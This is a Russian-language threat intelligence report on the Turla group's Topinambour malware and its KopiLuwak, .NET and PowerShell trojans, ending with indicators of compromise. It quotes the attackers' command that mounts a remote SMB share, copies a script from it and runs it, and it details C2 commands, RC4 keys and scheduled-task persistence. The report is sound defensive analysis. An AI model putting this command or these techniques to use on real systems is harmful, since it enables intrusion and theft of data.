Русскоязычная APT-группировка Turla, также известная как Venomous Bear, Waterbug и Uroboros, известна с 2014 года, хотя ее историю можно проследить до 2004 года и даже ранее. Группировка оперирует комплексной платформой кибератак и обращает внимание преимущественно на дипломатические и правительственные цели, особенно на Ближнем и Дальнем Востоке, в Центральной Азии, Европе, Северной и Южной Америке и бывших социалистических странах.
Судя по всему, в 2019 году участники Turla начали активно обновлять свой арсенал. Используя прежний, хорошо знакомый экспертам стиль написания кода, они создают совершенно новые инструменты. Эта статья посвящена нескольким из них — а именно Topinambour и связанным с ним модулям. Сразу оговоримся, что назвать .NET-зловред в честь сельскохозяйственной культуры (топинамбура, или земляной груши) придумали не мы, а сами разработчики.
Новые модули уже были замечены в активной кампании в начале 2019 года. Как и раньше, группировка прицельно бьет по правительственным мишеням. Сам Topinambour представляет собой .NET-модуль, который используется на начальных стадиях атаки и предназначен для загрузки уже известного троянца KopiLuwak, написанного на JavaScript, и его аналогов. О последних сразу расскажем немного подробнее. Дело в том, что помимо новых средств доставки у группировки появились и новые троянцы, по функциям очень похожие на KopiLuwak: обфусцированный на языке PowerShell и на С#.
Среди командных серверов кампании 2019 года оказалось несколько изначально безвредных, но скомпрометированных сайтов WordPress, на которых злоумышленники разместили свои сценарии .php.
На этот раз разработчики зловреда оставили в коде несколько «пасхалок» для жертв и исследователей. Модули .NET включают несколько довольно забавных строк: TrumpTower («Башня Трампа») используется как вектор инициализации для шифрования RC4, а RocketMan! (вероятно, отсылка к прозвищу, которое президент Трамп дал Ким Чен Ыну) и MiamiBeach служат сигнальными сообщениями от зараженного компьютера командному серверу.
Как распространяется Topinambour
Для доставки всего вышеперечисленного жертве операторы используют изначально безвредные установщики ПО с добавлением зловреда. В числе переносчиков такого дроппера могут оказаться, например, средства обхода цензуры в интернете, такие как SoftEther VPN 4.12 и psiphon3, или программы для активации Microsoft Office.
Кроме безвредной программы дроппер содержит миниатюрную утилиту удаленного управления, написанную на .NET и способную выполнять подаваемые оператором консольные команды. Для получения модулей следующей ступени атаки оператор просто отправляет команды net use и copy. Используются общие SMB-ресурсы на арендованных виртуальных частных серверах (VPS). Да, поверить в это сложно, но в 2019 это срабатывает в публичных сетях.
В кампании по распространению Topinambour используются виртуальные серверы, расположенные в ЮАР. Что интересно, их внешние IP-адреса начинаются с 197.168: вероятно, выбранными таким образом адресами операторы пытаются замаскировать трафик под локальный (в локальной сети адреса часто начинаются с 192.168). Горизонтальные перемещения в инфраструктуре жертвы показывают, что также операторы кампании разбираются в протоколе IPv6. Помимо IPv4, они используют и эту более новую версию протокола в своих командах.
В чем состоит цель Topinambour
Назначение всей этой инфраструктуры и модулей JavaScript, .NET и PowerShell — создать «бесфайловую» цепочку атакующих модулей на компьютере жертвы, состоящую из нескольких значений в системном реестре Windows, в которых зашифрован инструмент удаленного администрирования. Последний делает все, что мы привыкли ожидать от типичного троянца: загружает, скачивает и исполняет файлы, а также снимает «отпечатки пальцев» целевой системы. PowerShell-версия этого троянца также позволяет делать снимки экрана.
Троянец | Набор команд |
JavaScript | exit upld inst wait dwld |
.NET | #down #upload #timeout #stop #sync |
PowerShell | #upload #down #screen #timeout #stop #sync |
Даже системы команд у разных троянцев довольно похожи
Интересные технические особенности
Но зачем создавать вредоносные программы с практически одинаковыми функциями, но на разных языках программирования? Одно из возможных объяснений состоит в том, что так разработчики пытались избежать обнаружения: если одна версия будет замечена на компьютере жертвы, операторы могут попробовать запустить ее аналог. В таблице ниже троянцы сравниваются по ключам шифрования и сигнальным сообщениям на контрольные серверы.
Троянец | Ключ шифрования RC4 | Сигнальное сообщение командному серверу |
KopiLuwak на JavaScript | 01a8cbd328df18fd49965d68e2879433 | bYVAoFGJKj7rfs1M + хэш на основе даты установки Windows |
.NET | TrumpTower | RocketMan! |
PowerShell | TimesNewRoman | MiamiBeach |
Иногда разработчики предпочитают развлекать жертв и исследователей, а не использовать случайные строки
Для анализа дроппера использовался приведенный ниже образец:
SHA256 8bcf125b442f86d24789b37ce64d125b54668bc4608f49828392b5b66e364284
MD5 110195ff4d7298ba9a186335c55b2d1f
Дата компиляции 2018.09.10 12:08:14 (GMT)
Размер 1 159 680
Исходное название topinambour.exe
Проанализированный нами образец дроппера содержит следующие функции
Функция дроппера | Описание |
unpack_p | Распаковывает полезную нагрузку в файл %LOCALAPPDATA%/VirtualStore/certcheck.exe. Буква «p» в названии функции и связанном с ней ресурсе может означать как «payload» (полезная нагрузка). |
make_some_noise | Обеспечивает постоянное присутствие полезной нагрузки, создавая в планировщике задание, которое запускается каждые 30 минут. |
unpack_o | Копирует исходный дистрибутив (например, psiphon3) из дропера в директорию %TEMP% и запускает его. Буква «o» в названии функции и связанного с ней ресурса может означать «original» (исходное приложение). |
Полезная нагрузка: мини-приложение на .NET
Очень маленькое и легкое приложение, развертываемое дроппером, получает консольные команды Windows от сервера и скрытно выполняет их.
Первые четыре байта (DWORD), полученные после TCP-запроса к серверу, содержат общую длину следующих за ними данных. Сами такие данные представляют собой консольные команды Windows, незаметно выполняемые интерпретатором (cmd.exe /c).
Дроппер KopiLuwak
С этого места вступает в игру печально известный KopiLuwak. В начале следующего этапа атаки интерпретатор команд незаметно загружает сценарии с командного сервера — SMB-ресурса на удаленном VPS провайдера CELL-C в ЮАР. Для выполнения этой задачи достаточно команд Windows net use и copy.
cmd.exe /c net use \\197.168.0.247\c$ <пароль_пользователя> /user:administrator & copy /y \\197.168.0.247\c$\users\public\documents\i.js $documents\j.js & $documents\j.js
В результате жертва будет заражена обфусцированным зловредом KopiLuwak, написанным на JavaScript.
Его функции описаны в таблице ниже:
Функция сценария | Описание |
Создание задачи в планировщике | Создает задачу в планировщике с названием ProactiveScan и описанием NTFS Volume Health Scan (проверка работоспособности тома NTFS), которая запускает скрипт C:\Users\<имя_пользователя>\AppData\Roaming\Microsoft\Chkdsk.js с параметром -scan Kdw6gG7cpOSZsBeH, представляющим собой ключ RC4 |
Снятие «отпечатков пальцев» хоста | Сохраняет результаты выполнения набора команд, таких как systeminfo, net view, tasklist /v, gpresult /z, dir \x22%programfiles%\x5cKaspersky Lab\x22, tracert www.google.com в файл %appdata%\Microsoft\x5ct235.dat |
Развертывание JavaScript следующей ступени | Развертывает скрипт C:\Users\<имя_пользователя>\AppData\Roaming\Microsoft\Chkdsk.js |
Скрипт Chkdsk.js расшифровывает еще один сценарий с помощью ключа RC4, из задачи планировщика и запускает расшифрованный код. Код финальной стадии атаки представляет собой более сложный троянец, способный принимать и исполнять команды C&C.
Данные жертв пересылаются операторам в формате XML: каждое сообщение снабжено 16-байтовой сигнатурой в начале и «отпечатком пальцев» компьютера жертвы, который разработчики назвали ridid.
Константа | Число байтов | Значение и функции |
magic | 16 | С этого «магического числа» начинается каждое зашифрованное сообщение с зараженного компьютера. В описанных образцах байты magic выглядят так: bYVAoFGJKj7rfs1M |
ridid | 32 | Значение хэша на основе даты установки Windows и указанного выше 16-байтового значения magic |
RC4 iv | 32 | Вектор инициализации RC4 для шифрования обмена сообщениями между жертвой и КС. В описанных образцах значение вектора инициализации выглядит так: 01a8cbd328df18fd49965d68e2879433 |
Зловред обменивается сообщениями со скомпрометированным веб-сайтом на платформе WordPress, получая четырехбайтовые команды с URL-адреса примерно такого вида: http://<легитимный домен>/wp-includes/Requests/Socks.php. Вначале зловред подает сигнал командному серверу и в качестве ответа получает команду, которую должен выполнить.
Команда | Описание |
exit | Отправить «отпечатки пальцев» из файла t235.dat и текст upl в XML-сообщении, затем удалить файл и остановить исполнение сценария. |
upld | Отправить содержимое файла t235.dat с текстом upl в XML-сообщении. Если такого файла нет или он пуст, по команде отправляется XML-сообщение с текстом opt file no exists or size limit («файл не существует или размер не соответствует лимиту»). |
inst | Формат команды:
Отправить в XML-сообщении текст good install («успешная установка») и содержимое файла t235.dat. Сохранить выполненный файл JavaScript как %APPDATA%\Microsoft\ghke94d.jss. |
wait | Ничего не делать. |
dwld | Формат команды тот же самый, что и для команды inst, однако сценарий с сервера не выполняется сразу. По этой команде расшифрованный код JavaScript сохраняется как %APPDATA%\Microsoft\awgh43.js и отправляется XML-сообщение с текстом success get_parse_command («успешное получение команды для интерпретации»). |
KopiLuwak на JavaScript
Загруженный сценарий извлекает исполняемый файл из реестра Windows и запускает его. Подразделы и значения реестра отличаются для разных жертв.
Пока не очень ясно, как создаются ключи реестра, однако обычно атакующие используют для этого изначальный .NET-агент заражения. В некоторых образцах имеется также дополнительная функция для получения MAC-адреса жертвы.
Так заканчивается первая цепь заражения для зловреда на JavaScript. Теперь кратко опишем вторую цепочку, в которой зловред работает на .NET.
.NET-троянец RocketMan
Мы называем этот троянец RocketMan из-за строки, которую разработчики используют в сигнале командному серверу. В этом зловреде также есть строка TrumpTower, которая применяется как вектор инициализации для шифрования RC4.
Зловред считывает IP-адрес и порт C&C из реестра, где они были сохранены на предыдущем этапе. Он выполняет следующие команды, которые получает от командного сервера по протоколу HTTP в зашифрованном виде:
Команда | Описание |
#down | Отправить HTTP POST-запрос на http:// |
#upload | Отправить HTTP-запрос GET на http:// |
#timeout | Извлечь продолжительность паузы из аргумента команды сервера и ждать отведенное время |
#stop | Отправить HTTP-запрос GET на http:// |
#sync | Отправить на сервер зашифрованную строку RocketMan! |
Троянец MiamiBeach на PowerShell
Разработчики Topinambour также использовали троянец на языке PowerShell. Он содержит около 450 строк, а в качестве вектора инициализации для шифровки переговоров с сервером по протоколу RC4 использует строку TimesNewRoman.
Модуль сигнализирует своему командному серверу, адрес которого жестко вшит в код, строкой MiamiBeach в HTTP POST-запросе. Зловред очень похож на .NET-троянец RocketMan и может исполнять те же самые команды, но кроме того еще и распознает команду #screen, которая позволяет сделать снимок экрана.
Заключение
Поскольку версия KopiLuwak на JavaScript уже известна и публично обсуждается, разработка аналогов этого троянца на базе PowerShell и .NET могла быть шагом, призванным затруднить обнаружение. Использование системного реестра Windows для хранения зашифрованных данных, которые затем эксплуатируются зловредом, вероятно, тоже имеет целью свести риск обнаружения к минимуму и оставить как можно меньше следов — в результате единственной файловой уликой на компьютере жертвы остается крошечное стартовое приложение.
По неясной причине разработчики включили в свои зловреды строки, связанные с Соединенными Штатами, такие как RocketMan!, TrumpTower или make_some_noise. Едва ли этим они пытались навести на ложный след: KopiLuwak — хорошо известный артефакт, которым ранее оперировала исключительно Turla. Злоумышленники не могли не понимать, что его использование позволяет с высокой степенью уверенности отнести новую кампанию именно на счет этой APT-группировки.
Индикаторы заражения
Шаблоны HTTP-запросов GET к командному серверу
- http://
: /file - http://
: /update - http://
: /exit
Некоторые хэши MD5, имеющие отношение к кампании
- 47870ff98164155f088062c95c448783
- 2c1e73da56f4da619c4c53b521404874
- 6acf316fed472300fa50db54fa6f3cbc
- 9573f452004b16eabd20fa65a6c2c1c4
- 3772a34d1b731697e2879bef54967332
- d967d96ea5d0962e08844d140c2874e0
- a80bbd753c07512b31ab04bd5e3324c2
- 37dc2eb8ee56aeba4dbd4cf46f87ae9a
- 710f729ab26f058f2dbf08664edb3986
Домены и IP-адреса VPS, используемых как командные серверы
- 197.168.0.73
- 197.168.0.98
- 197.168.0.212
- 197.168.0.243
- 197.168.0.247
- 197.168.0.250
Topinambour — новое орудие в арсенале Turla